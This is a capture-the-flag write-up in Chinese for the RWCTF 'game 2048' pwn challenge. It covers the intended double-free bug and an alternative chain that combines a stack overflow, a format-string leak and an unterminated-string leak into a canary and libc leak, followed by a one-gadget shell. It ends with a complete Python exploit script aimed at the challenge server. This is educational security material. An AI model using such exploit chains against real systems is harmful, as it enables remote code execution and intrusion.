论复杂方式解决简单问题——rwctf game 2048

  • A+
所属分类:逆向工程

论复杂方式解决简单问题——rwctf game 2048


前言


大家好!

这里是擅长把简单问题复杂化的[email protected]……


这是一篇迟到的 writeup ,本来应该在比赛后就发布的,但是一直比较忙,最近才找到时间来总结一下。这次的 RWCTF 我不出所料的又踩入了坑,同时还将好几个队友也一块拉入了坑中,最后我们强行把题目从普通难度调到了地狱难度,还好最后做出来了,否则,怕是交代不了。论复杂方式解决简单问题——rwctf game 2048


下面就来记录一下我们困难模式的解题过程吧~

1

题目介绍

目给出了一个 nc 端口,nc 上去之后会给一个 http url ,所以内部也实现了一个 web 服务器。web 端的功能大概如下:

  • register:注册,可以注册一个新用户,注册完成后会被重定向到 2048 游戏界面

  • login:登录,登录之后也会被重定向到 2048 游戏界面

  • 2048:游戏界面,路由位置为“2048/index.html” ,本身是一个静态页面,但是需要先登录才可访问,游戏本身没有别的功能了,我还忙里偷闲地玩了一小会(摸鱼实锤了)。登录的验证在 cookie 中,形式为 "name=[name]; pass=

    下载密码:发表评论并刷新可见!
    " ,例如 cookie 内容 "admin=admin; pass=admin" 表示用户名为 "admin" 密码也为 "admin" 。所以其实注册之后不一定非要经过登录页面,直接加上 cookie 就可以啦(其他的页面也是用这种方式验证的)

  • submit:这个功能是隐藏起来的,似乎并没有办法直接从其他页面走到(也有可能是我没看仔细),可以登录后(cookie 能够通过验证)提交一个评论,然后该评论会被记录下来,存入到各用户的存储中。提交之后,下一次进入到这个页面时,就会默认显示你所提交的内容。在没有提交任何内容前,也会有一段默认内容。


默认时的页面如下:


论复杂方式解决简单问题——rwctf game 2048


该部分是基于libCoroutine实现的,libCoroutine我不是特别了解,但是看名字应该就是协程啦,所以应该就是单线程,采取协程的方式实现的。程序本身使用 C++ 编写,所以逆起来还稍微有点难受,毕竟 C++ 的符号看起来比较麻烦。不过如果整个程序的大致结构清楚了看起来还是比较容易的,内部的符号都没有去掉,所以也并不算特别难逆。


每一个 web 服务器都应当有一个路由声明,所以首先我会先试图找一下路由的声明,通过看字符串之类的就可以找到:


论复杂方式解决简单问题——rwctf game 2048

从这里的实现可以看到,具体的实现应该是在每个对象的 process 函数中,例如 submit::process 就是 submit 界面的处理函数。


预期解其实并不算很复杂,所以我们先讲一下预期解。


预期解的漏洞在 submit 的实现部分,在实现中,用户名和密码是在一个哈希表的。在访问提交页面时,需要先经过验证,验证的过程就是从 cookie 中取出账号密码然后查表。从表里取出来的是代表一个用户(user)的结构体。提交的 comment 就存在这个结构体当中,下图中的 u 变量就是用户结构体指针,u->commit 就是记录在每个用户下的评论。

论复杂方式解决简单问题——rwctf game 2048


所以提交页面实现为 post 请求处理,参数 word 下的内容就是要提交的内容,在进行 url 解码之后,会将其存储到用户结构体的 comment 中。


然后,如果用户已经有评论了,就会先被释放,再读取新的评论内容:


论复杂方式解决简单问题——rwctf game 2048

但是需要注意!读取的过程是用AIO::read实现的,如果没有提供足够的内容,那么就会继续等待新的内容,所以……如果内容不够,就会阻塞了!


更不妙的是,在释放之后,u->comment 的置 0 是在 read 之后的:


论复杂方式解决简单问题——rwctf game 2048


这样的话,聪明的小朋友们应该都发现了,这里是有一个 double free 漏洞的:

  1. 首先提交一个内容

  2. 然后,再提交一个内容,这时就会将前一个内容阻塞,但是给一个错误的content_size ,使AIO::read发生阻塞,此时因为阻塞,comment 依然是被 free 掉的内容,没有置 0

  3. 再提交一个请求,这样就会再触发一次 free


libc 给出的版本是 2.31 的,所以是有 tcache ,这样 double free 利用应该不算特别困难。


好了,阳间的看完了,让我们来整点别的。

2

整点“阴间”的东西

在比赛期间,我非常机(yu)智(chun)地忽略了整个 double free ,导致我们寻找其他漏洞。不巧的是,这程序还当真就有这么多漏洞。


漏洞1:一个在 http 解析过程中的栈溢出,发生在add_get_param中。在解析url时,如果碰到get请求,且存在参数,那么就会将参数解析出来放到一个表里。(IDA的反编译由于try-catch块的存在会有问题,反编译会少掉一部分内容,逆的时候需要注意,所以这里看到的反编译结果也不全)。这个函数的作用就是用来将参数的键值对放到表里的:


论复杂方式解决简单问题——rwctf game 2048

可以看到,函数调用了一个魔幻的strncpy ,这个函数调用非常魔幻,我估计是希望先将key和value字符串先拷贝到tmp1和tmp2中,然后再用这两个值来进行set_value ,但是事实上可能由于发现 set_value 会复制,所以这两个值根本没有使用。然后不出意外程序应该是用了debug编译,所以dead code也没有删掉(我猜的),最后就有了这么两个魔幻的strncpy 。


由于key_sizevalue_size就是直接对字符串strlen的(这个发生在上一层函数),所以其实这个strncpy和strcpy是一个意思。于是就有两个栈溢出了。


所以有栈溢出就完事了,那我还写什么writeup呢?所以并没有这么简单,因为程序是存在 canary保护的。于是,单看这个栈溢出,就显得并没什么意思了。


漏洞2:有一个字符串没有 null 截断,同时 malloc 的内容也没有提前清空,该漏洞的位置位于parseHelper::render:

论复杂方式解决简单问题——rwctf game 2048


fread是用来从磁盘上读取html模板的,但是fread本身并不负责将读取的字符串末尾设置为0,另外,缓冲区在分配之后也没有清空,所以分配出来的块是会包含之前释放的内容的。如果我们可以想办法控制之前释放的内容,或者说,我们可以想办法控制此时分配出来的内容,那么加上fread之后没有截断,我们就可以在模板内容后面加上我们自己的内容了。


但是光是加上内容,有什么用呢?答案就在随后的vsnprintf里,由于该函数的格式化字符串部分就是读取的模板,所以我们成功的用多个小bug ,组合出了一个"不太稳定"(读作,“很不稳定”)的格式化字符串漏洞了。


论复杂方式解决简单问题——rwctf game 2048


所以现在我们的问题解决了!用格式化字符串直接获取canary不就好了!完美?个屁!我们这时对格式化字符串的控制是完全不稳定的,最后的结果就是我们没有办法添加超过 4 字节的内容,所以我们最多只能添加%9$p,此时根本碰不到canary,所以目前来看,这样也不行。


同时,即使我们有了栈溢出,也难以获取到 libc 地址。


所以我们又去看程序了,发现了漏洞3,可以用来解决 libc 地址问题。


漏洞3:comment 在经过url_decode时,同样没有截断:


论复杂方式解决简单问题——rwctf game 2048

目前看来,几个漏洞单独都不太够,最多就是能泄露堆和 libc 地址。但是合起来,就有点有意思了。

3

合体!

目前我们有了 3 个漏洞:

  • 栈溢出:被 canary 限制

  • 格式化字符串:被字节数限制

  • 截断问题:可以泄露


总的来说,思路还是明确的,就是用后两个漏洞想办法去获取到 canary 和需要的地址,然后用栈溢出控制执行流 ROP 。需要的地址主要就是libc地址,这个问题其实已经解决了(用漏洞3),但是 canary 还是一个问题。


我们还有格式化字符串漏洞可以用,但是问题在于这个格式化字符串并非一个普通的格式化字符串,而是利用到垃圾字节来实现的,不妙的是,模板的大小是0x954字节(哦对了,这里还利用了一个未授权访问漏洞,通过使用 http://xxxxx:xxxx/./submit.html 可以把模板直接下下来……),这样我们正常情况分配出来的应该是 0x961 size 的 chunk ,实际能用的字节只有 0x958 ,所以我们只能控制 4 个字节的内容:


论复杂方式解决简单问题——rwctf game 2048

所以之前我们解释到,我们只能添加%1$p%9$p ,然而 canary 最少也在 13 的位置(事实上 13 也不够,不稳定)。


通过调试(具体点说,就是从comment释放开始,一直跟踪该chunk,通过硬件断点可以跟踪 chunk ,直到最后跟到目标 malloc )可以发现,如果分配一个比较大的 chunk ,最后这个 chunk 是被不断切分的,也就是说,其实中间过程如果调整一下,记一下这个切分过程,我们是可以通过一开始分配一个合适的大小,最后控制 malloc 的时候空闲块的大小的。所以,我就想,是不是有办法通过控制最后 malloc 的时候的状态,让分配的时候分配的东西更大一点?也就是,不分配 0x961 的块,而是分配更大的?


最后结果当然是可以的,不过中间的过程我觉得更多是运气,通过试了一些大小,最后 (应该是由于分配前块合并)分配出了0x971的块。

			
def leak_canary():
    register()
    register('fuck')
 
    number = 0x3000 + 0x30 # v1 <- remote
    payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote
 
    submit(payload, user='fuck')
    submit('a' * 0x100)
    submit('a' * (0x10), user='fuck')
    view_submit(user='fuck')


这个过程其实不太稳定,我自己试了一下大概是十分之一的概率,但是不管怎么说,我们现在终于可以获得一个更大的格式化字符串了,所以 canary 的泄露也搞定了……吗?


实际情况是,确实能够控制大于 4 个字节了,然而却只有第一个字节有值,其他全是0,这就很奇怪了……


1

# 实际情况不完全是这样,但是大差不差是这个效果

2

bcx00x00x00x00x00x00x00


又找了半天原因,最后发现是因为vsnprintf的大小限制。


论复杂方式解决简单问题——rwctf game 2048


泄露的输出应该放到out_buffer里,然后大小限制为strlen(comment) + strlen(template) + 1 ,模板中的 %s 格式化后长度为 strlen(comment) ,那么其实我们就剩一个字节了。


为了解决这个问题,我们用到了一开始的默认情况(就是一开始没有提交任何评论的时候),这个时候,由于程序员编写的时候默认 template 不可控,所以大小写的比较随意,直接写了个 0x1000 (反正比 template 长度大就行了)。(这一部分感谢队友 Umut)


论复杂方式解决简单问题——rwctf game 2048


终于,历尽九九八十一难,我们拿到了 canary 的全部值…


			
def leak_canary():
    register()
    register('fuck')
    register('empty')
 
    number = 0x3000 + 0x30 # v1 <- remote
    payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote
 
    submit(payload, user='fuck')
    submit('a' * 0x100)
    submit('a' * (0x10), user='fuck')
    view_submit(user='empty')


libc 泄露就比较显然了,格式化字符串这边没有找到 libc 地址,不过问题不大,反正我们还有个泄露不是,所以我们用另外一个漏洞泄露了下:


def leak_libc():
    register()
    for i in range(10):
        submit('a'.ljust(0x1000, 'b'), False)
    view_submit()
 
 
    submit('a')
    res = view_submit()
    text_start = b'<textarea id="compose-textarea" class="form-control" style="height: 300px" name="word">'
    idx = res.content.find(text_start) + len(text_start) + 1
    content = res.content[idx:].strip(b' ').split(b'n')[0]
    libc_addr = u64(content.ljust(8, b'x00'))
    libc_base = libc_addr - 0x1ebb61
    print(hex(libc_addr))
    print(hex(libc_base))



需要注意的是,我发现用来算libc_base的偏移似乎不太稳定,大概有 3 种可能的结尾,我目前还记得发现的有 0x261 和 0xb61 ,和本地情况可能有出入,不过好在也就三种,大不了本地重新起一下,总能发现一样的偏移。


好了,搞定了两个大问题了,libc 地址和 canary 都有了,问题解决了吗?呵,人类,地狱模式哪有这么简单。


由于栈溢出是用 strncpy 触发的,所以我们是没有办法插入 0 字节的,也就是说,我们是没有办法编写完整 ROP 的,因为最多写一个地址。甚至更不妙的是,canary 自己也是有 0 的……咋办?


问题1: canary 自己的 0, 这个是比较好解决的,老套路了,直接倒着写,我们不是有两个 strncpy 吗,先写长的再写短的就可以解决了。


问题2:0截断导致无法 ROP。这个就比较麻烦了,一般来说我们会用 one gadget 对吧,然而这个是需要看环境的,也就是说需要看 one gadget 的具体条件,所以我们来看下:

			
$ one_gadget libc.so.6
0xe6e73 execve("/bin/sh", r10, r12)
constraints:
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL
 
0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL
 
0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL


调试一下会发现最后一个可以用:


论复杂方式解决简单问题——rwctf game 2048


不过试一下,就知道地狱模式是啥了:


论复杂方式解决简单问题——rwctf game 2048


知道了吧?除了这两个要求,还需要 rbp-0x78 是可写的合法地址,工具并没有给出这个条件,然后其他的 gadget 又不可用……


卡住了。


比赛期间,做到这我已经没辄了,然后也比较晚了,有点困,就睡了。


那么我们的神奇队友 Umut (我们唯一的土耳其队友)又来了!他竟然!手工!发现了一个!工具没找到的 one gadget!


论复杂方式解决简单问题——rwctf game 2048


由于 rdx 已经是 0 了,rsi 也是 0 (其实不太稳定,有时候是 0 ,有时候是 r15 是 0 ,但是管他呢,都能用),所以这么个 gadget 就能用了……


这才是,千辛万苦,终于获得了 flag……


论复杂方式解决简单问题——rwctf game 2048


总结一下:


论复杂方式解决简单问题——rwctf game 2048

4

完整利用

PS:由于泄露的时候并不会把程序弄崩,所以 exp 是分开的,先泄露内容,然后写到 exp 里,再进行栈溢出。



#!/usr/bin/env python3
import requests
from pwn import *
import sys
import urllib.parse
 
#url = 'http://localhost:39267'
url = 'http://54.176.255.241:33717'
submit_url = url + '/submit'
submit_page = url + '/submit.html'
register_url = url + '/register'
 
libc_base = 0x7f6b1b06c000
canary = 0xfd15c59a46b75400
 
 
one_gadget = 0xE6C84
#one_gadget = 0xe6e79
 
def submit(content, log=True, user='admin'):
    data = {
        'word': content
    }
    r = requests.post(submit_url, data=data, cookies={'name': user, 'pass': user})
    if log:
        print(r.text)
    return r
 
def view_submit(log=True, user='admin'):
    r = requests.get(submit_page, cookies={'name': user, 'pass': user})
    if log:
        print(r.text)
    return r
 
def register(user='admin', log=False):
    r = requests.get(register_url + '?name={user}&passwd={user}&re_passwd={user}'.format(user=user))
    if log:
        print(r.text)
 
 
def leak_libc():
    register()
    for i in range(10):
        submit('a'.ljust(0x1000, 'b'), False)
    view_submit()
 
 
    submit('a')
    res = view_submit()
    text_start = b'<textarea id="compose-textarea" class="form-control" style="height: 300px" name="word">'
    idx = res.content.find(text_start) + len(text_start) + 1
    content = res.content[idx:].strip(b' ').split(b'n')[0]
    libc_addr = u64(content.ljust(8, b'x00'))
    libc_base = libc_addr - 0x1ebb61
    print(hex(libc_addr))
    print(hex(libc_base))
    libc_base = libc_addr - 0x1ec261
    print(hex(libc_base))
 
 
def leak_canary():
    register()
    register('fuck')
    register('empty')
 
    number = 0x3000 + 0x30 # v1 <- remote
    payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote
 
    submit(payload, user='fuck')
    submit('a' * 0x100)
    submit('a' * (0x10), user='fuck')
    view_submit(user='empty')
 
def main():
    rop = p64(one_gadget + libc_base)
    payload_key = 'a' * 0x100 + 'b' * 0x100 + 'a' * 8 + 'a' + urllib.parse.quote(p64(canary)[1:]) + 'x' * 24 + urllib.parse.quote(rop)
    payload_value = 'p' * 0x108
    exp_url = url + '?' + payload_key + '=' + payload_value
    r = requests.get(exp_url)
 
if __name__ == '__main__':
    op = ''
    if len(sys.argv) >= 2:
        op = sys.argv[1]
 
    if op == 'reg':
        register()
    elif op == 'canary':
        leak_canary()
    elif op == 'libc':
        leak_libc()
    else:
        main()



往期精彩
记一次Postgresql从堆叠注入到RCE
Guess | 猜猜小阑在地铁站邂逅了什么?
CVE-2018-8440分析
隐藏的OK——HackTM Final 某逆向writeup
Zend Framework 3.1.3 gadget chain
技术文章分享 | 在CTF中享受扫雷的快乐

论复杂方式解决简单问题——rwctf game 2048

星阑科技

微信号|StarCrossCN

知乎号 | 星阑科技

本文始发于微信公众号(星阑科技):论复杂方式解决简单问题——rwctf game 2048

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: